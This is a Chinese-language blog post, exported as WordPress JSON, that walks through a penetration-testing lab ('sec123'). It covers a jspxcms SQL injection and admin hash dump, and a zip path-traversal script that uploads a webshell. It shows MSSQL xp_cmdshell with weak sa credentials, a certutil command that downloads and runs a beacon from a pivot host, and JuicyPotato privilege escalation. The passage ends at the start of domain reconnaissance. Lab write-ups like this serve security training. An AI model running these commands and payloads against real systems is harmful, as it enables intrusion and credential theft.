{"id":321,"date":"2024-09-04T21:49:08","date_gmt":"2024-09-04T13:49:08","guid":{"rendered":"https:\/\/www.nightying.com\/?p=321"},"modified":"2024-09-08T11:57:08","modified_gmt":"2024-09-08T03:57:08","slug":"sec123bachang","status":"publish","type":"post","link":"https:\/\/www.nightying.com\/index.php\/2024\/09\/04\/sec123bachang\/","title":{"rendered":"\u4e09\u5c42\u5185\u7f51 \u5916\u7f51\u6253\u70b9\u5230\u5185\u7f51\u57df sec123"},"content":{"rendered":"\n

\u9996\u5148\u5148\u642d\u5efa\u73af\u5883\uff0c\u8fd9\u4e00\u6b65\u8df3\u8fc7<\/p>\n\n\n\n

\u5728\u8fd9\u91cc\u6211\u6a21\u62df\u4e92\u8054\u7f51IP\u4e3a192.168.0.101<\/p>\n\n\n\n

goby\u5f00\u626b\uff1a<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

18\u4e2a\u7aef\u53e3\uff0c\u5176\u4e2dweb6\u4e2a<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u4f9d\u6b21\u6253\u5f00\uff0c\u4e24\u4e2aNot Found\uff0c\u4e00\u4e2ajspxcms\uff0c\u4e00\u4e2a\u94f6\u884c\u7cfb\u7edf\uff0c\u4e00\u4e2a\u8003\u8bd5\u7cfb\u7edf\uff0c\u8fd8\u6709\u4e2a\u963f\u5e15\u5947\u9ed8\u8ba4\u9875\u9762<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u4f18\u5148\u67e5\u770bCMS\u5386\u53f2\u6f0f\u6d1e\uff0c\u53d1\u73b0\u4e00\u4e2aRCE\uff0c\u5177\u4f53\u6559\u7a0b\u5982\u4e0b<\/p>\n\n\n\n

https:\/\/mp.weixin.qq.com\/s\/dHKrq4UCqmJ8hKYaUIbPPQ<\/a><\/p>\n\n\n\n

\u5c1d\u8bd5\u80fd\u4e0d\u80fdRCE<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u4f7f\u7528\u5386\u53f2\u6f0f\u6d1e\u63d0\u4f9b\u7684\u9a6c\u5b50\u548cAPI\u63a5\u53e3\uff0c\u53d1\u73b0\u80fd\u591f\u6b63\u5e38RCE<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u4f46\u662f\u5c1d\u8bd5\u4e0a\u4f20\u9a6c\u5b50\u7684\u65f6\u5019\uff0c\u5b58\u5728\u8def\u5f84\uff0c\u4f46\u662f\u5c1d\u8bd5\u8bbf\u95ee404<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

\u770b\u6765\u76f4\u63a5\u4e0a\u7801\u4e0d\u592a\u73b0\u5b9e\uff0c\u770b\u770b\u4ed6\u7684RCE\u80fd\u4e0d\u80fd\u641e\u70b9\u4e8b\u60c5<\/p>\n\n\n\n

\u6d4b\u4e86\u4e00\u4e0b\uff0c\u57fa\u672c\u4e0a\u60f3\u641e\u4e8b\u7684\u547d\u4ee4\u5168500\u4e86\uff0c3\u4e2a\u767b\u5f55\u7cfb\u7edf\u7684\u5f31\u53e3\u4ee4\u4e5f\u7206\u7834\u8fc7\u4e86\uff0c\u8fd8\u662f\u6ca1\u6709\u4ec0\u4e48\u4e1c\u897f\uff0c\u67e5\u4e86\u4e00\u4e2ajspxcms\u7684\u5386\u53f2\u6f0f\u6d1e\uff0c\u4e0aRCE\u9a6c\u7684\u9700\u8981\u8fdb\u540e\u53f0\uff0c\u4e00\u822c\u540e\u53f0\u4e0a\u9a6c\u7684\u9776\u573a\uff0c\u4e0d\u662f\u6e90\u7801\u4fe1\u606f\u5b58\u5728\u6cc4\u9732\uff0c\u5c31\u662f\u524d\u53f0\u6709SQL\u6ce8\u5165\u80fd\u591f\u62ff\u5230\u5bc6\u7801<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u6ce8\u518c\u4e86\u4e00\u4e2aTomExam\u8d26\u53f7\uff0c\u7136\u540e\u5728\u91cc\u9762\u75af\u72c2\u6ce8\u5165<\/p>\n\n\n\n

\u6700\u540e\u8bd5\u51fa\u6765\u4e86<\/p>\n\n\n\n

GET \/page.do?action=comm_news&act=list&classid=2 HTTP\/1.1\nHost: 192.168.0.101:8088\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/128.0.0.0 Safari\/537.36\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nReferer: http:\/\/192.168.0.101:8088\/page.do?action=comm_news&act=readthread&id=4\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: _jspxcms=017147f5462245f79fdaba6507afaf29; JSESSIONID=06FBB501704D05CDDCFB93717D1EF9E5\nConnection: close<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u53d1\u73b0\u53ef\u4ee5\u67e5\u770b3\u4e2a\u5e93\uff0c\u7ed3\u5408\u4e4b\u524d\u53d1\u73b0\u7684jspxcms\u7ba1\u7406\u5458\u540e\u53f0\u662f\u53ef\u4ee5\u901a\u8fc7\u538b\u7f29\u5305\u4e0a\u4f20webshell\u7684\uff0c\u4f18\u5148\u67e5\u770b<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e00\u5171\u6709107\u4e2a\u8868\uff0c\u4e3b\u8981\u662f\u770b\u7528\u6237\u8868\uff0ccms_user<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e3b\u8981\u62ff\u7528\u6237\u540d\uff0c\u5bc6\u7801\uff0c\u76d0<\/p>\n\n\n\n
-D jspxcms -T cms_user -C f_username,f_password,f_salt --dump --batch --level 3<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e00\u770b\u4e00\u5806\u6570\u636e\u770b\u4e0d\u89c1\uff0c\u7b2c\u4e00\u6b21\u77e5\u9053–dump\u539f\u6765\u6709\u5339\u914d\u6570\u636e\u5931\u8bef\u7684\u60c5\u51b5\uff0c\u91cd\u65b0\u6267\u884c\u4e00\u6b21<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
admin | 51c52ae56562d8c538600385909595b009467f0b | 9b2b38ad7cb62fd9 <\/p>\n\n\n\n
\u4f46\u662f\u597d\u50cf\u3002\u3002\u6ca1\u5565\u7528\uff0c\u672c\u8d28\u4e0a\u8fd8\u662f\u9700\u8981\u8fdb\u884c\u66b4\u529b\u7834\u89e3\uff0c\u7136\u540e\u5bf9\u6bd4\u62ff\u5230\u7684\u52a0\u76d0\u5bc6\u7801\uff0c\u5982\u679c\u8fd9\u4e2a\u662f\u4e0d\u662f\u5f31\u53e3\u4ee4\uff0c\u90a3\u5c31\u6839\u672c\u6ca1\u529e\u6cd5\u4e86\uff0c\u53ef\u662f\u6211\u5982\u679c\u672c\u6765\u5c31\u6709\u5f31\u53e3\u4ee4\u7684\u5bc6\u7801\uff0c\u6211\u76f4\u63a5\u7206\u7834\u8fdb\u53bb\u90fd\u884c\uff0c\u770b\u4e86\u5176\u4ed6\u4eba\u5199\u7684\u6559\u7a0b\uff0c\u8fd9\u4e2a\u5f31\u53e3\u4ee4\u6211\u5b57\u5178\u6839\u672c\u6ca1\u51fa\u73b0\u8fc7\uff0c\u8fd9\u4e00\u6b65\u8df3\u8fc7\uff0c\u76f4\u63a5\u63d0\u4f9b\u5bc6\u7801\uff1azzz123zzz<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u73b0\u5728\u662f\u767b\u5f55\u540e\u53f0\uff0c\u5148\u7206\u7834\u4e00\u4e0b\u540e\u53f0\u8def\u5f84\/cmscp\/index.do<\/p>\n\n\n\n
\u6210\u529f\u5230\u8fbe\u540e\u53f0<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8ddf\u7740\u6b65\u9aa4\u8d70\uff0c\u5148\u751f\u6210\u4e2awar\u5305\uff0c\u7136\u540e\u8de8\u76ee\u5f55zip\u5305\uff0c\u4e0a\u4f20\u89e3\u538b<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
import zipfile\nzip = zipfile.ZipFile(\"test.zip\",'w',zipfile.ZIP_DEFLATED)\nwith open(\"shell.war\",\"rb\") as f:\n    data=f.read();\n    zip.writestr(\"..\/..\/..\/shell.war\",data)\n    zip.close()<\/strong><\/code><\/pre>\n\n\n\n
\u6700\u540e\u5f97\u5230\u7684\u8def\u5f84\u4e3aabc\/shell.jsp<\/p>\n\n\n\n
\u6210\u529f\u4e0a\u7801<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5148\u770b\u770bIP\uff0c\u7136\u540e\u4e0a\u4e2afscan\u4e00\u628a\u68ad<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u626b\u5230128\u7684\u4e00\u4e2amssql\u7684\u5f31\u53e3\u4ee4\uff0c\u770b\u8d26\u53f7\u5e94\u8be5\u662fsa\uff0csa\u7684\u8bdd\uff0cmssql\u7684sa\u57fa\u672c\u4e0a\u5c31\u662fshell\uff0c\u4f46\u662f\u9700\u8981\u4e00\u4e9b\u64cd\u4f5c\u624d\u80fd\u4f7f\u7528\uff0c\u6709do_owner\u7684\u89d2\u8272\u4e5f\u53ef\u4ee5getshell<\/p>\n\n\n\n
sa\/admin123<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e0akali\u6302\u4e2a\u4ee3\u7406<\/p>\n\n\n\n
sudo vi \/etc\/proxychains4.conf<\/strong><\/p>\n\n\n\n
socks5 vpsIP \u7aef\u53e3 \u8d26\u53f7 \u5bc6\u7801<\/p>\n\n\n\n
\u4fdd\u5b58\uff0c\u4e4b\u540e\u6240\u6709\u7684\u811a\u672c\u5747\u4f7f\u7528proxychains4<\/strong>\u6267\u884c<\/p>\n\n\n\n
\u5728python\u5de5\u5177\u5305\u4e2d\uff0c\u5b58\u5728\u4e00\u4e2aimpacket \uff0c\u8be5\u5de5\u5177\u5305\u53ef\u4ee5\u76f4\u63a5\u8fde\u63a5mssql<\/p>\n\n\n\n
\u5b89\u88c5\u547d\u4ee4\uff1a\nsudo apt-get install python3-impacket<\/strong><\/code><\/pre>\n\n\n\n
\u4f7f\u7528\u547d\u4ee4\uff1a\n\u627e\u5230mssql\u8fde\u63a5\u7684\u6587\u4ef6\uff08\u4e00\u822c\u7528\u4e8e\u4e0d\u662f\u5168\u5c40\u53d8\u91cf\u7684\u65f6\u5019\uff09\nfind \/ -name mssqlclient.py\n\u8fd0\u884c\uff1a\nproxychains4 python3 \/path\/mssqlclient.py \u7528\u6237\u540d@IP<\/strong>\n<\/code><\/pre>\n\n\n\n
\u5728\u8fd9\u91cc\u7684\u547d\u4ee4\u662f\uff08\u987a\u5e26\u63d0\u4e2a\u9192\uff0c\u5982\u679c\u7f51\u6bb5\u5df2\u7ecf\u5728\u672c\u5730\u73af\u5883\u4e2d\u5b58\u5728\uff0c\u5e76\u4e14\u5185\u7f51\u73af\u5883\u4e2d\u4e5f\u5b58\u5728\uff0c\u4f7f\u7528Proxifier\u4ee3\u7406\u7684\u65f6\u5019\uff0c\u4f1a\u51fa\u73b0\u51b2\u7a81\uff0c\u65e0\u6cd5\u5728\u5185\u7f51\u73af\u5883\u4e2d\u6210\u529f\u4ee3\u7406\uff0c\u4e3a\u4e86\u907f\u514d\u8fd9\u4e2a\u60c5\u51b5\uff0c\u6211\u4f7f\u7528\u4e86kali\u7684proxychains4\uff09<\/p>\n\n\n\n
proxychains4 \/usr\/share\/doc\/python3-impacket\/examples\/mssqlclient.py sa@192.168.1.128<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8fde\u63a5\u6210\u529f\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528xp_cmdshell\uff0c\u53d1\u73b0\u5e76\u6ca1\u6709\u542f\u7528\uff0c\u4f46\u662f\u6211\u4eec\u662fsa\u6743\u9650\uff0c\u53ef\u4ee5\u901a\u8fc7\u547d\u4ee4\u5f00\u542f<\/p>\n\n\n\n
\u5f00\u542fxp_cmdshell\nenable_xp_cmdshell\n\u6267\u884c\u547d\u4ee4\nxp_cmdshell whoami<\/code><\/pre>\n\n\n\n
\u6210\u529f\u6267\u884c\u547d\u4ee4\uff0c\u53d1\u73b0\u6743\u9650\u4e3amssqlserver\uff0c\u8fd8\u9700\u8981\u63d0\u6743<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5148\u7ed9\u8fd9\u53f0\u673a\u5668\u4e0a\u4e2a\u9a6c\uff0c\u7531\u4e8e\u6ca1\u6709\u901a\u5916\u7f51\uff0c\u5e76\u4e14\u53ea\u6709\u4e00\u4e2amssql\uff0c\u6240\u4ee5\u9a6c\u5b50\u4e0a\u4f20\u901a\u8fc7\u5728\u8fb9\u7f18\u670d\u52a1\u5668\u642d\u5efa\u4e00\u4e2ahttp\u670d\u52a1\uff08\u8fd9\u91cc\u7528go\u5199\u7684\u4ee3\u7801\uff0c\u642d\u4e86\u4e00\u4e2a\u6587\u4ef6\u670d\u52a1\u5668\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u7136\u540e\u9a6c\u5b50\u9700\u8981\u66f4\u65b0\u4e00\u4e0b\uff0c\u901a\u8fc7\u4e2d\u8f6c\u673a\u5668\u8fdb\u5165\u5185\u7f51\uff0c\u5927\u6982\u5982\u4e0b\uff0c\u5e76\u4e0d\u662f\u76f4\u63a5\u901a\u8fc7Y\u8fde\u63a5\u5185\u7f51<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u70b9\u51fb\u76ee\u6807\uff0c\u8f6c\u53d1\u4e0a\u7ebf\uff0c\u521b\u5efa\u4e00\u4e2a\u76d1\u542c\uff08\u8fd9\u4e2a\u76d1\u542c\u5730\u5740\u4e00\u5b9a\u8981\u662f\u4e0e\u76ee\u6807IP\u540c\u4e00\u4e2a\u7f51\u6bb5\uff0c\u5426\u5219\u4e0a\u7ebf\u4f1a\u5931\u8d25\uff01\uff01\uff09\uff1a<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\n\u4e0b\u8f7d\u9a6c\u5b50\u81f3\u7f13\u5b58\u6587\u4ef6\u4e2d\nxp_cmdshell certutil -urlcache -split -f http:\/\/192.168.1.126:15555\/abc.exe c:\/windows\/temp\/ying.exe\n\n\u8fd0\u884c\u9a6c\u5b50\u4e0a\u7ebf\nxp_cmdshell c:\/windows\/temp\/ying.exe<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6b64\u65f6\u9a6c\u5b50\u6b63\u5e38\u4e0a\u7ebf<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5148\u770b\u770b\u6743\u9650<\/p>\n\n\n\n
whoami<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e0d\u662f\u7ba1\u7406\u5458\uff0c\u770b\u770b\u8865\u4e01\u60c5\u51b5<\/p>\n\n\n\n
shell systeminfo<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u590d\u5236\u51fa\u6765\uff0c\u8d34\u8fdb\u4e0b\u9762\u7684web\u4e2d\uff1a<\/p>\n\n\n\n
https:\/\/tools.zjun.info\/getmskb<\/a><\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6839\u636e\u7cfb\u7edf\u6765\u9009\u62e9\u76f8\u5e94\u7684\u63d0\u6743\u6f0f\u6d1e\uff0c\u5728\u8fd9\u91cc\u5e38\u89c1\u7684\u662fMS17010\uff08\u6c38\u6052\u4e4b\u84dd\uff09 MS16-075\uff08\u70c2\u571f\u8c46\uff09\uff0c\u7531\u4e8e\u6c38\u6052\u4e4b\u84dd\u88ab\u4fee\u590d\uff0c\u5728\u8fd9\u91cc\u5c1d\u8bd5\u4f7f\u7528\u70c2\u571f\u8c46<\/p>\n\n\n\n
\u5148\u7ed9CS\u4e0b\u4e2a\u63d2\u4ef6https:\/\/github.com\/johnjohnsp1\/reflectivepotato<\/a><\/p>\n\n\n\n
\u4e0b\u8f7d.cna\u63d2\u4ef6\uff0c\u7136\u540e\u52a0\u5165\u811a\u672c\u7ba1\u7406\u5668\u4e2d<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u9009\u62e9\u63d0\u6743<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u63d0\u4e0d\u4e86\u4e00\u70b9\uff0c\u6bcf\u6b21\u6253\u9776\u573a\u90fd\u8fd9\u6837\uff0c\u8fd9\u4e2a\u63d2\u4ef6\u80fd\u9009\u8f6c\u53d1\u4e0a\u7ebf\u7684\u76d1\u542c\uff0c\u4f46\u662f\u63d0\u6743\u5931\u8d25\uff0c\u5176\u4ed6\u7684\u63d2\u4ef6\u53ea\u80fd\u9009VPS\uff0c\u4f46\u662f\u53c8\u80fd\u63d0\u6743\u6210\u529f\uff0c\u4e0a\u4f20\u4e2aexe\u6267\u884c\u547d\u4ee4\u7b97\u4e86\u3002<\/p>\n\n\n\n
https:\/\/github.com\/shanfenglan\/test\/tree\/master\/juicypotato<\/a><\/p>\n\n\n\n
\u4ece\u8fd9\u91cc\u4e0b\u8f7d\u70c2\u756a\u8304web\u7684\u90a3\u4e2aexe<\/p>\n\n\n\n
\u7136\u540e\u4f20\u4e0a\u53bb\uff0c\u8ddf\u7740\u9a6c\u5b50\u4e00\u8d77\u4f20\uff0c\u6267\u884c\u547d\u4ee4<\/p>\n\n\n\n
shell C:\\Users\\MSSQLSERVER\\JuicyPotatoweb.exe -p C:\\Users\\MSSQLSERVER\\abcd.exe<\/strong>\n\u76f8\u5f53\u4e8e\u63d0\u6743\u540e\u518d\u6b21\u6267\u884c\u7801\u5b50\uff0c\u4ee5\u7ba1\u7406\u5458\u6743\u9650\u4e0a\u7ebf<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u63d0\u6743\u6210\u529f<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6536\u96c6\u4fe1\u606f\uff0c\u4e0afscan\u626b\u626b\uff0c\u5e94\u8be5\u662f10.10.10.1\u7f51\u6bb5<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u63a5\u4e0b\u6765\u5c31\u662f\u57df\u6e17\u900f\u6b65\u9aa4<\/p>\n\n\n\n
\u57df\u6e17\u900f<\/strong><\/h2>\n\n\n\n
\u57fa\u7840\u4fe1\u606f\u6536\u96c6<\/p>\n\n\n\n
route print     # \u67e5\u770b\u8def\u7531\u4fe1\u606f\narp -a  # \u67e5\u770b\u57df\u4e2d\u6240\u6709\u7684\u8bbe\u5907\nipconfig \/all    # \u5224\u65ad\u5f53\u524d\u662f\u5426\u5728\u57df\u73af\u5883\u4e2d\uff0c\u770bdns\u540e\u7f00\u548cdns\u670d\u52a1\u5668\nping \"\u57df\u540d\"\nnet time \/domain       #\u67e5\u770b\u7cfb\u7edf\u65f6\u95f4\uff08\u5224\u65ad\u4e3b\u57df\uff09<\/strong><\/code><\/pre>\n\n\n\n
\u57df\u6e17\u900f\u57fa\u672c\u601d\u8def\uff1a<\/p>\n\n\n\n